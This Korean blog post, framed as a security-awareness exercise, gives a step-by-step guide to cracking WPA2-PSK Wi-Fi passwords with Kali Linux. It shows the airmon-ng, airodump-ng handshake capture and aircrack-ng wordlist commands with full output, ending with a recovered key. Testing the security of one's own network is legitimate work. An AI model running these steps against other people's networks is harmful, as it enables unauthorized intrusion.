아래 내용은 보안에 대한 경각심을 주기 위해서 ** 얼마나 ** 해킹이 쉬운지를 알려주는 글입니다.
아래 내용을 위험하게 도용하여 타인의 무선 공유기를 해킹한다던가 하는 행동은 법적인 처벌을 받을 수 있는 내용이므로, 참고하시기 바랍니다.
아래 사이트 내용은 이해를 돕기 위해서 캡쳐를 일일이 했으며, 개인 정보 보호를 위해서 가려져야 하는 부분은 ***** 처리 되었으니 참고 바랍니다.
아래 내용을 나쁜 목적으로 사용하지 마시고, 자신의 공유기의 보안성을 한번 테스트 하는데 사용해 보시면 좋을 것 같습니다.
참고 사이트 :
http://www.drchaos.com/breaking-wpa2-psk-with-kali/
1. 준비물
컴퓨터, 무선 랜카드, Kali Linux, 패스워드 리스트
* 무선랜카드는 Kali Linux 호환이 되는 것으로 준비하는 것이 좋습니다. 가장 많이 쓰이는 것은
ALFA 네트워크의 무선랜이 이 용도로 가장 적합하다고 합니다. 뭐... 테스트용으로 하는데에는 IPtime 저가형 무선랜도
잘 됩니다. 성능은 별로지만요. 궁금 하실 수도 있어서 ALFA 랜카드 사진 올려 드립니다. Kali Linux 사진도 올려 드립니다. 커맨드 라인 사진을 보면, 전신인 백트랙과 정말 유사하죠...
* 패스워드 리스트 파일은 하나 미리 확보하시는 것이 좋습니다.
숫자만으로 패스워드가 구성되어 있는 경우에는 8자리 숫자 파일 리스트 정도 확보해 놓으시면 좋습니다.
패스워드 리스트 파일은 그냥 개행 문자로 구분된 패스워드 리스트만 있으면 됩니다.
경험상 패스워드 리스트 파일이 3G 이상 넘어가면 해독해 주는 친구가 힘들어 합니다.
알아서 만드셔서 확보하시는 것이 좋습니다.
일단 없으신 분들은 백트랙에 기본적으로 내장되어 있던 darkc0de.lst 파일 링크를 걸어 드립니다. 잘 알아서 배치해서 테스트 해 보시면 됩니다.
여기에서 다운 받으실 수 있습니다.
2. 주변 AP 탐색하기
가. 현재 무선랜을 탐색 모드로 변경
1) Kali Linux에서 커맨드 창을 하나 엽니다.
2) 커맨드 창에서 ifconfig -a를 입력하여 현재 랜카드가 정상 작동하는지를 확인합니다. wlan0로 무선랜이 설정되어 있는 것이 확인됩니다.
root@kali:~# ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:1a:80
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:16
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:16 errors:0 dropped:0 overruns:0 frame:0
TX packets:16 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:960 (960.0 B) TX bytes:960 (960.0 B)
wlan0 Link encap:Ethernet HWaddr 00:1d:e0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
3) iwconfig를 입력합니다. - 아래는 특정 AP에 물려 있는 무선랜 예시입니다.
root@kali:~# iwconfig
eth0 no wireless extensions.
wlan0 IEEE 802.11abgn ESSID:"*****"
Mode:Managed Frequency:2.412 GHz Access Point: 64:E5:99:7C:F1:A8
Bit Rate=1 Mb/s Tx-Power=14 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=70/70 Signal level=-33 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:25 Missed beacon:0
lo no wireless extensions.
4) 혹시 무선랜이 종료된 경우 켜 줍니다. -- ifconfig wlan0 up
5) 이제 주변에 있는 AP들의 목록을 한번 확인해 보겠습니다. 이런 식으로 쭈욱 나옵니다. 많이 있으면 많이 나오겠죠.
여기에서 내가 열어 보고자 하는 AP를 선정합니다. 맨 위에 Cell 01 로 적혀 있는 애를 선정했습니다.
이제부터는 약어로 Address는 [AP], Channel는 [CH], ESSID는 [ESS]로 표시하겠습니다.
ESS 가 영어와 숫자 조합인 경우 잘 보이지만, 한글인 경우 인코딩 되어서 나타납니다. 그럴 때에는 잘... 확인해야 합니다.
실제로 적용할 때에는 [AP]와 [CH] 가 주로 필요합니다.
root@kali:~# iwlist wlan0 scanning
wlan0 Scan completed :
Cell 01 - Address: 64:E5:99 [AP]
Channel:1[CH]
Frequency:2.412 GHz (Channel 1)
Quality=70/70 Signal level=-31 dBm
Encryption key:off
ESSID:"***********" [ESS]
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s
18 Mb/s; 36 Mb/s; 54 Mb/s
Bit Rates:6 Mb/s; 12 Mb/s; 24 Mb/s; 48 Mb/s
Mode:Master
Extra:tsf=00000012e3a21627
Extra: Last beacon: 0ms ago
IE: Unknown: 000B697074696D655F6D696E69
IE: Unknown: 010882848B961224486C
IE: Unknown: 030101
IE: Unknown: 2A0104
IE: Unknown: 32040C183060
IE: Unknown: 2D1A6E1016FF000000010000000000000000000000000C0000000000
IE: Unknown: 3D1601050500000000000000000000000000000000000000
IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00
IE: Unknown: 0B05040058127A
IE: Unknown: 4A0E14000A002C01C800140005001900
IE: Unknown: DDA70050F204104A0001101044000102103B000103104700102880288028801880A88064E5997CF1A81021001852616C696E6B20546563686E6F6C6F67792C20436F72702E1023001C52616C696E6B20576972656C6573732041636365737320506F696E74102400065254323836301042000831323334353637381054000800060050F20400011011000952616C696E6B41505310080002210C103C0001011049000600372A000120
IE: Unknown: DD07000C4304000000
IE: Unknown: 07064B5220010E10
6) airmon-ng start wlan0 을 입력합니다.
root@kali:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1146 NetworkManager
1272 wpa_supplicant
2084 dhclient
PHY Interface Driver Chipset
phy0 wlan0 iwl4965 Intel Corporation PRO/Wireless 4965 AG or AGN [Kedron] (rev 61)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
상기 내용은 이번 모니터링을 방해할 수 있는 프로세스가 세 개가 떠 있는데, 프로세스 죽여 달라는 뜻입니다.
가볍게 죽여 줍니다.
그리고 아래에서 두 번째 줄에 나온 모니터링용 어댑터 id - 이하 [MOID] - 를 알아 놔야 합니다. 8번에 소중하게 쓰입니다.
7) 세 개의 프로세스를 같이 죽여 줍시다. 6번에서 나온 pid id를 공백 문자로 입력합니다. kill -9 [pid#1] [pid#2] ...
root@kali:~# kill -9 1145 1272 2677
8) 본격적인 모니터링 입니다. airodump-ng --bssid [ESS] --channel [CH] --write [ESS] [MOID] 라고 입력합니다.
root@kali:~# airodump-ng --bssid [ESS] --channel [CH] --write [ESS] [MOID]
CH 2 ][ Elapsed: 1 min ][ 2015-11-04 15:13 ][ WPA handshake: B4:FC:75
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
B4:FC:75 -35 100 354 2190 0 2 54e WPA2 CCMP PSK O
BSSID STATION PWR Rate Lost Frames Probe
B4:FC:75: :8D:CC:7C -26 0e-24e 217 2282
B4:FC:75: :BD:D1:E1 -30 0e- 1 0 50
이렇게 있다 보면, 아래쪽에 Frames가 계속 올라가는 것이 보일 것입니다. 안올라가면 캡쳐가 안되는 것입니다.
참고로, 해당 AP에 접속중인 기기가 없으면 맨 아래 두 줄 같은 접속 정보가 안나타나고, 캡쳐가 안될 수 있습니다.
캡쳐가 정상적으로 되면, 현재 폴더에 [ESS]-01.cap 파일 외 여러 파일이 생깁니다. 해당 형태에서 *.cap 파일이 중요한 파일입니다.
9) 내가 모니터링 하는 동안 상대방이 접속 시도를 하여서 원하는 데이터가 다 쌓였으면, 아래와 같이 크랙이 성공합니다.
패스워드가 12345678 이었군요.
root@kali:~# aircrack-ng [ESS]-02.cap -w darkc0de.lst
Opening [ESS]-02.cap
Read 7249 packets.
# BSSID ESSID Encryption
1 B4:FC:75: [ESS] WPA (1 handshake)
Choosing first network as target.
Opening ESS-02.cap
Reading packets, please wait...
Aircrack-ng 1.2 rc2
[00:00:00] 4 keys tested (237.36 k/s)
KEY FOUND! [ 12345678 ]
Master Key : 83 49 05 98 F5 4B 8F 9D EB 8A 98 95 30 53 F6 26
A1 A9 59 BA 30 3A 6A 05 F6 94 47 E5 AA 3A 00 2A
Transient Key : 2E 9D A1 53 3C 63 C1 1C 80 F9 D5 87 32 46 DB 0C
6A 52 47 A8 3C CD DE 34 83 CE 2D 01 C2 A1 27 08
8A 1A 36 A4 88 5A F1 04 FF 8B 07 98 DD 95 2D 66
64 74 CB 38 E4 3F 19 81 E5 53 7C 9C C6 C7 62 5B
EAPOL HMAC : E0 D7 60 EF 39 D7 15 A6 A1 C6 79 21 6C 40 D4 98
10) 위와 같은 메시지가 안나오는 경우 크랙이 실패한 것입니다.
가) 이럴 때에는 우리가 열어 보려는 장비와 다른 장비간의 통신이 별로 없어서 샘플을 수집하지 못하는 경우나
나) 패스워드 리스트 안에 해당 패스워드가 없어서 그런 것입니다.
3. 마치며...
해당 포스팅을 하고 간략하게 결론을 내 보자면,,,, WPA2 비밀번호를 8자리 숫자 정도로 작성한다면, 성능 좋은 PC는 수 초만에
당신의 PC를 공략하여 열어볼 수 있을 것이다... 라는 무서운 생각을 하게 됩니다.
시간 있으면 위의 내용 한번 적용해서 확인해 보시고, 위험성을 인식하시기 바랍니다.
'IT' 카테고리의 다른 글
주변 컴퓨터 웹 사이트 접속 id / password 가로채기 (0) | 2015.11.24 |
---|---|
CentOS 6 minimal 설치 후 초기 설정하기 (0) | 2015.11.11 |
구형 안드로이드폰에 Wordpress (게시판) 올리기 (1) | 2015.11.03 |
Centos7에 Wordpress 설치하기 (2) | 2015.08.14 |
나름 안전한 wordpress 만들기 (0) | 2015.08.12 |